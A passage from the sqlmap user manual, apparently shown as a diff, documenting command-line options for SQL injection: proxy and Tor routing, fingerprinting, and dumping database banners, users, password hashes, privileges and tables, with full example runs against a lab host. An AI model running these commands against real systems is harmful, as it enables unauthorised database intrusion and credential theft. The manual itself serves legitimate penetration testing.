\ + -a "./txt/user-agents.txt" + +[hh:mm:00] [DEBUG] initializing the configuration +[hh:mm:00] [DEBUG] initializing the knowledge base +[hh:mm:00] [DEBUG] cleaning up configuration parameters +[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt' +[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt': +Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) +[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through +[hh:mm:00] [DEBUG] creating HTTP requests opener object +[hh:mm:00] [DEBUG] parsing XML queries file +[hh:mm:00] [INFO] testing connection to the target url +[hh:mm:00] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) +Connection: close +[...] +</verb></tscreen> + +<p> +Note that the HTTP <tt>User-Agent</tt> header is tested against SQL +injection even if you do not overwrite the default sqlmap HTTP +<tt>User-Agent</tt> header value. + + +<sect2>HTTP <tt>Basic</tt> and <tt>Digest</tt> authentications + +<p> +Options: <tt>--auth-type</tt> and <tt>--auth-cred</tt> + +<p> +These options can be used to specify which HTTP authentication type the +web server implements and the valid credentials to be used to perfom all +HTTP requests to the target URL. +The two valid types are <tt>Basic</tt> and <tt>Digest</tt> and the +credentials' syntax is <tt>username:password</tt>. + +<p> +Examples on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \ + --auth-type Basic --auth-cred "testuser:testpass" -v 3 + +[...] +[hh:mm:28] [INFO] testing connection to the target url +[hh:mm:28] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] + + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \ + --auth-type Digest --auth-cred "testuser:testpass" -v 3 + +[...] +[hh:mm:48] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +Authorization: Digest username="testuser", realm="Testing digest authentication", +nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", +uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", +response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, +cnonce="df1c0902c931b640" +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +</verb></tscreen> + + +<sect2>HTTP proxy + +<p> +Option: <tt>--proxy</tt> + +<p> +It is possible to provide an anonymous HTTP proxy address to pass by the +HTTP requests to the target URL. The syntax of HTTP proxy value is +<tt>http://url:port</tt>. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ + --proxy "http://127.0.0.1:3128" + +[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic +[hh:mm:37] [WARNING] the back-end DMBS is not MySQL +[hh:mm:37] [WARNING] the back-end DMBS is not Oracle +back-end DBMS: PostgreSQL +</verb></tscreen> + +<p> +Instead of using a single anonymous HTTP proxy server to pass by, you can +configure a <htmlurl url="http://tor.eff.org" name="Tor client"> together +with <htmlurl url="http://www.privoxy.org" name="Privoxy"> on your machine +as explained on the <htmlurl url="http://tor.eff.org/docs/tor-doc-unix.html.en" +name="Tor client guide"> then run sqlmap as follows: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ + --proxy "http://127.0.0.1:8118" +</verb></tscreen> + +<p> +Note that <tt>8118</tt> is the default Privoxy port, adapt it to your +settings. + + +<sect2>Concurrent HTTP requests + +<p> +Option: <tt>--threads</tt> + +<p> +It is possible to specify the number of maximum concurrent HTTP requests +that sqlmap can start when it uses the blind SQL injection technique to +retrieve the query output. +This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading" +name="multithreading"> concept and inherits both its pro and its cons. + +<p> +Examples on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ + -b --threads 3 + +[...] +back-end DBMS: MySQL >= 5.0.0 + +[hh:mm:08] [INFO] fetching banner +[hh:mm:08] [INFO] retrieved the length of query output: 18 +[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)) +[hh:mm:09] [INFO] starting 3 threads +[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2 +[hh:mm:09] [INFO] performed 132 queries in 0 seconds +banner: '5.0.51a-3ubuntu5.2' +</verb></tscreen> + +<p> +As you can see, sqlmap first calculates the length of the query output, +then starts three threads. Each thread is assigned to retrieve one +character of the query output. The thread then ends after approximately +seven HTTP requests, the maximum to retrieve a query output character. + + +<sect1>Injection + +<sect2>String match + +<p> +Option: <tt>--string</tt> + +<p> +By default the distinction of a True query by a False one (basic concept +for standard blind SQL injection attacks) is done comparing injected pages +content MD5 hash with the original not-injected page content MD5. Not +always this concept works because sometimes the page content changes at +each refresh, for instance when the page has a counter, a dynamic +advertisment banner or any other part of the HTML which is render +dynamically and might change in time not only consequently to user's +input. +To bypass this limit, sqlmap makes it possible to manually provide a +string which is <bf>always</bf> present on the not-injected page +<bf>and</bf> on all True injected query pages, but that it is <bf>not</bf> +on the False ones. +Such information is easy for an user to retrieve, simply try to inject on +the affected URL parameter an invalid value and compare original output +with the wrong output to identify which string is on True page only. +This way the distinction will be based upon string match and not page MD5 +hash comparison. + +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ + -v 5 + +[...] +[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:50] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 25 Jul 2008 14:29:50 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Connection: close +Transfer-Encoding: chunked +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html><p>Dynamic content: 1216996190</p> + +[hh:mm:51] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 25 Jul 2008 14:29:51 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 161 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html><p>Dynamic content: 1216996191</p> + +[hh:mm:51] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 25 Jul 2008 14:29:51 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 161 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html><p>Dynamic content: 1216996191</p> + +[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual +paragraph 'String match' for details +</verb></tscreen> + +<p> +As you can see, the string after <tt>Dynamic content</tt> changes its +value every second. In the example it is just a call to PHP +<tt>time()</tt> function, but on the real world it is usually much more +than that. + +<p> +Looking at the HTTP responses page content you can see that the first five +lines of code do not change at all. +So choosing for instance the word <tt>luther</tt> as an output that is +on the True page content and it is not on the False page content and +passing it to sqlmap, you should be able to inject anyway. + +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ + --string "luther" -v 1 + +[hh:mm:22] [INFO] testing connection to the target url +[hh:mm:22] [INFO] testing if the provided string is within the target URL page content +[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:22] [INFO] GET parameter 'id' is dynamic +[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic +[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic +[hh:mm:22] [INFO] testing for parenthesis on injectable parameter +[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis +[...] +</verb></tscreen> + +<p> +As you can see, when this option is specified, sqlmap skips the URL +stability test. + +<p> +<em>Consider this option a must when you are dealing with a page which +content that changes itself at each refresh without modifying the user's +input</em>. + + +<sect2>Force the database management system name + +<p> +Option: <tt>--dbms</tt> + +<p> +By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four: + +<itemize> +<item>MySQL +<item>Oracle +<item>PostgreSQL +<item>Microsoft SQL Server +</itemize> + +<p> +It is possible to force the name if you already know it so that sqlmap +will skip the fingerprint with an exception for MySQL to only identify if +it is MySQL < 5.0 or MySQL >= 5.0. +To avoid also this check you can provide instead <tt>MySQL 4</tt> or +<tt>MySQL 5</tt>. + +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \ + --dbms "PostgreSQL" + +[...] +[hh:mm:31] [DEBUG] skipping to test for MySQL +[hh:mm:31] [DEBUG] skipping to test for Oracle +back-end DBMS: PostgreSQL +</verb></tscreen> + +<p> +In case you provide <tt>--fingerprint</tt> together with <tt>--dbms</tt>, +sqlmap will only perform the extensive fingerprint for the specified +database management system, read the following section for further +details. + +<p> +Note that this option is <bf>not</bf> mandatory and it is strongly +recommended to use it <bf>only if you are absolutely sure</bf> about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you. + + +<sect1>Fingerprint + +<sect2>Extensive database management system fingerprint + +<p> +Options: <tt>-f</tt> or <tt>--fingerprint</tt> + +<p> +By default the web application's back-end database management system +fingerprint is performed requesting a database specific function which +returns a known static value. By comparing this value with the returned +value it is possible to identify if the back-end database is effectively +the one that sqlmap expected. + +After identifying an injectable vector, sqlmap fingerprints the back-end +database management system and performs the following queries with their +specific syntax within the limits of the database architecture. + +If you want to perform a more accurate database management system +fingerprint based on various techniques like specific SQL dialects and +inband error messages, you can provide the <tt>--fingerprint</tt> option. + +The order of database management systems that sqlmap tests for is: + +<itemize> +<item>MySQL +<item>Oracle +<item>PostgreSQL +<item>Microsoft SQL Server +</itemize> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:02] [INFO] testing MySQL +[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:02] [INFO] retrieved: 44 +[hh:mm:02] [INFO] performed 20 queries in 0 seconds +[hh:mm:02] [INFO] confirming MySQL +[hh:mm:02] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:02] [INFO] retrieved: 1 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:02] [INFO] retrieved: 4 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +[hh:mm:02] [INFO] query: DATABASE() +[hh:mm:02] [INFO] retrieved: test +[hh:mm:02] [INFO] performed 34 queries in 0 seconds +[hh:mm:02] [INFO] query: SCHEMA() +[hh:mm:02] [INFO] retrieved: test +[hh:mm:02] [INFO] performed 34 queries in 0 seconds +[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 +[hh:mm:02] [INFO] retrieved: +[hh:mm:02] [INFO] performed 6 queries in 0 seconds +[hh:mm:02] [INFO] executing MySQL comment injection fingerprint +back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 + comment injection fingerprint: MySQL 5.0.51 + html error message fingerprint: MySQL +</verb></tscreen> + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:26] [WARNING] the back-end DMBS is not MySQL +[hh:mm:26] [INFO] testing Oracle +[hh:mm:26] [INFO] query: LENGTH(SYSDATE) +[hh:mm:26] [INFO] retrieved: 9 +[hh:mm:26] [INFO] performed 13 queries in 0 seconds +[hh:mm:26] [INFO] confirming Oracle +[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 +[hh:mm:26] [INFO] retrieved: 10.2.0.1.0 +[hh:mm:27] [INFO] performed 76 queries in 0 seconds +back-end DBMS: active fingerprint: Oracle 10g + html error message fingerprint: Oracle +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:56] [WARNING] the back-end DMBS is not Oracle +[hh:mm:56] [INFO] testing PostgreSQL +[hh:mm:56] [INFO] query: COALESCE(7, NULL) +[hh:mm:56] [INFO] retrieved: 7 +[hh:mm:56] [INFO] performed 13 queries in 0 seconds +[hh:mm:56] [INFO] confirming PostgreSQL +[hh:mm:56] [INFO] query: LENGTH((CHR(55))) +[hh:mm:56] [INFO] retrieved: 1 +[hh:mm:56] [INFO] performed 13 queries in 0 seconds +[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) +[hh:mm:56] [INFO] retrieved: 2 +[hh:mm:56] [INFO] performed 13 queries in 0 seconds +back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0 + html error message fingerprint: PostgreSQL +</verb></tscreen> + +<p> +As you can see from this last example, sqlmap first tested for MySQL, +then for Oracle, then for PostgreSQL since the user did not forced the +back-end database management system name. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL +[hh:mm:41] [INFO] testing Microsoft SQL Server +[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7))) +[hh:mm:41] [INFO] retrieved: 1 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1) +[hh:mm:41] [INFO] retrieved: 0 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +back-end DBMS: active fingerprint: Microsoft SQL Server 2000 + html error message fingerprint: Microsoft SQL Server +</verb></tscreen> + +<p> +If you want an even more accurate result, based also on banner parsing, +you can also provide the <tt>-b</tt> or <tt>--banner</tt> option. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b + +[...] +[hh:mm:11] [INFO] testing MySQL +[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:11] [INFO] retrieved: 44 +[hh:mm:11] [INFO] performed 20 queries in 0 seconds +[hh:mm:11] [INFO] confirming MySQL +[hh:mm:11] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:11] [INFO] retrieved: 1 +[hh:mm:11] [INFO] performed 13 queries in 0 seconds +[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:11] [INFO] retrieved: 4 +[hh:mm:11] [INFO] performed 13 queries in 0 seconds +[hh:mm:11] [INFO] query: DATABASE() +[hh:mm:11] [INFO] retrieved: test +[hh:mm:11] [INFO] performed 34 queries in 0 seconds +[hh:mm:11] [INFO] query: SCHEMA() +[hh:mm:11] [INFO] retrieved: test +[hh:mm:11] [INFO] performed 34 queries in 0 seconds +[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 +[hh:mm:11] [INFO] retrieved: +[hh:mm:11] [INFO] performed 6 queries in 0 seconds +[hh:mm:11] [INFO] query: VERSION() +[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2 +[hh:mm:12] [INFO] performed 132 queries in 0 seconds +[hh:mm:12] [INFO] executing MySQL comment injection fingerprint +back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 + comment injection fingerprint: MySQL 5.0.51 + banner parsing fingerprint: MySQL 5.0.51 + html error message fingerprint: MySQL +[...] +</verb></tscreen> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b + +[...] +[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL +[hh:mm:03] [INFO] testing Microsoft SQL Server +[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3))) +[hh:mm:03] [INFO] retrieved: 1 +[hh:mm:03] [INFO] performed 13 queries in 0 seconds +[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1) +[hh:mm:03] [INFO] retrieved: 0 +[hh:mm:03] [INFO] performed 13 queries in 0 seconds +[hh:mm:03] [INFO] query: @@VERSION +[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) + +[hh:mm:08] [INFO] performed 1308 queries in 4 seconds +back-end DBMS: active fingerprint: Microsoft SQL Server 2000 + banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 + version 8.00.194 + html error message fingerprint: Microsoft SQL Server +</verb></tscreen> + +<p> +As you can see, from the Microsoft SQL Server banner, sqlmap was able to +correctly identify the database management system service pack. +The Microsoft SQL Server XML versions file is the result of a sqlmap +parsing library that fetches data from Chip Andrews' +<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" +name="SQLSecurity.com site"> and outputs it to the XML versions file. + + +<sect1>Enumeration + +<sect2>Banner + +<p> +Option: <tt>-b</tt> or <tt>--banner</tt> + +<p> +Most of the modern database management systems have a function or an +environment variable which returns details on the database managemet +system version. Sometimes also the operating system where the daemon has +been compiled on, the operating system architecture, its service pack. +Usually this function is <tt>version()</tt> or the <tt>@@version</tt> +environment variable. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b + +banner: '5.0.51a-3ubuntu5.2' +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b + +banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4)' +</verb></tscreen> + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b + +banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' +</verb></tscreen> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b + +banner: +--- +Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) +--- +</verb></tscreen> + + +<sect2>Current user + +<p> +Option: <tt>--current-user</tt> + +<p> +It is possible to retrieve the database management system's user which is +effectively performing the query on the database from the web application. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user + +current user: 'testuser@localhost' +</verb></tscreen> + + +<sect2>Current database + +<p> +Option: <tt>--current-db</tt> + +<p> +It is possible to retrieve the database management system's database the +web application is connected to. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db + +current database: 'master' +</verb></tscreen> + + +<sect2>Users + +<p> +Option: <tt>--users</tt> + +<p> +It is possible to enumerate the list of database management system users. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users + +database management system users [3]: +[*] postgres +[*] testuser +[*] testuser2 +</verb></tscreen> + + +<sect2>Users password hashes + +<p> +Options: <tt>--passwords</tt> and <tt>-U</tt> + +<p> +It is possible to enumerate the password hashes for each database +management system user. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords + +[*] debian-sys-maint [1]: + password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892 +[*] root [1]: + password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] testuser [1]: + password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 +</verb></tscreen> + +<p> +You can also provide the <tt>-U</tt> option to specify the user who you +want to enumerate the password hashes. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \ + -U sa + +database management system users password hashes: +[*] sa [1]: + password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f +ba9930b62ee5d506955 + header: 0x0100 + salt: 0e16d704 + mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3 + uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955 +</verb></tscreen> + +<p> +As you can see, when you enumerate password hashes on Microsoft SQL Server +sqlmap split the hash, useful if you want to crack it. + + +<sect2>Users privileges + +<p> +Options: <tt>--privileges</tt> and <tt>-U</tt> + +<p> +It is possible to enumerate the privileges for each database management +system user. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges + +[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS' +[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP' +database management system users privileges: +[*] CTXSYS [2]: + privilege: CTXAPP + privilege: RESOURCE +[*] DBSNMP [1]: + privilege: OEM_MONITOR +[*] FLOWS_020100 (administrator) [4]: + privilege: CONNECT + privilege: DBA + privilege: RESOURCE + privilege: SELECT_CATALOG_ROLE +[*] FLOWS_FILES [2]: + privilege: CONNECT + privilege: RESOURCE +[*] HR (administrator) [3]: + privilege: CONNECT + privilege: DBA + privilege: RESOURCE +[*] MDSYS [2]: + privilege: CONNECT + privilege: RESOURCE +[*] OUTLN [1]: + privilege: RESOURCE +[*] SYS (administrator) [22]: + privilege: AQ_ADMINISTRATOR_ROLE + privilege: AQ_USER_ROLE + privilege: AUTHENTICATEDUSER + privilege: CONNECT + privilege: CTXAPP + privilege: DBA + privilege: DELETE_CATALOG_ROLE + privilege: EXECUTE_CATALOG_ROLE + privilege: EXP_FULL_DATABASE + privilege: GATHER_SYSTEM_STATISTICS + privilege: HS_ADMIN_ROLE + privilege: IMP_FULL_DATABASE + privilege: LOGSTDBY_ADMINISTRATOR + privilege: OEM_ADVISOR + privilege: OEM_MONITOR + privilege: PLUSTRACE + privilege: RECOVERY_CATALOG_OWNER + privilege: RESOURCE + privilege: SCHEDULER_ADMIN + privilege: SELECT_CATALOG_ROLE + privilege: XDBADMIN + privilege: XDBWEBSERVICES +[*] SYSTEM (administrator) [2]: + privilege: AQ_ADMINISTRATOR_ROLE + privilege: DBA +[*] TSMSYS [1]: + privilege: RESOURCE +[*] XDB [2]: + privilege: CTXAPP + privilege: RESOURCE +</verb></tscreen> + +<p> +You can also provide the <tt>-U</tt> option to specify the user who you +want to enumerate the privileges. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \ + -U postgres + +database management system users privileges: +[*] postgres (administrator) [3]: + privilege: catupd + privilege: createdb + privilege: super +</verb></tscreen> + +<p> +As you can see, depending on the user privileges, sqlmap identifies if the +user is a database management system administrator and show after the +username this information. + +<p> +Note that this feature is not available if the back-end database +management system is Microsoft SQL Server. + + +<sect2>Available databases + +<p> +Option: <tt>--dbs</tt> + +<p> +It is possible to enumerate the list of databases. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs + +available databases [6]: +[*] master +[*] model +[*] msdb +[*] Northwind +[*] pubs +[*] tempdb +</verb></tscreen> + +<p> +Note that this feature is not available if the back-end database +management system is Oracle. + +<sect2>Databases tables + +<p> +Options: <tt>--tables</tt> and <tt>-D</tt> + +<p> +It is possible to enumerate the list of tables for all database +manangement system's databases. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables + +Database: test +[1 table] ++---------------------------------------+ +| users | ++---------------------------------------+ + +Database: information_schema +[17 tables] ++---------------------------------------+ +| CHARACTER_SETS | +| COLLATION_CHARACTER_SET_APPLICABILITY | +| COLLATIONS | +| COLUMN_PRIVILEGES | +| COLUMNS | +| KEY_COLUMN_USAGE | +| PROFILING | +| ROUTINES | +| SCHEMA_PRIVILEGES | +| SCHEMATA | +| STATISTICS | +| TABLE_CONSTRAINTS | +| TABLE_PRIVILEGES | +| TABLES | +| TRIGGERS | +| USER_PRIVILEGES | +| VIEWS | ++---------------------------------------+ + +Database: mysql +[17 tables] ++---------------------------------------+ +| columns_priv | +| db | +| func | +| help_category | +| help_keyword | +| help_relation | +| help_topic | +| host | +| proc | +| procs_priv | +| tables_priv | +| time_zone | +| time_zone_leap_second | +| time_zone_name | +| time_zone_transition | +| time_zone_transition_type | +| user | ++---------------------------------------+ +</verb></tscreen> + +<p> +You can also provide the <tt>-D</tt> option to specify the database +that you want to enumerate the tables. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \ + -D test + +Database: test +[1 table] ++---------------------------------------+ +| users | ++---------------------------------------+ +</verb></tscreen> + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \ + -D users + +Database: USERS +[8 tables] 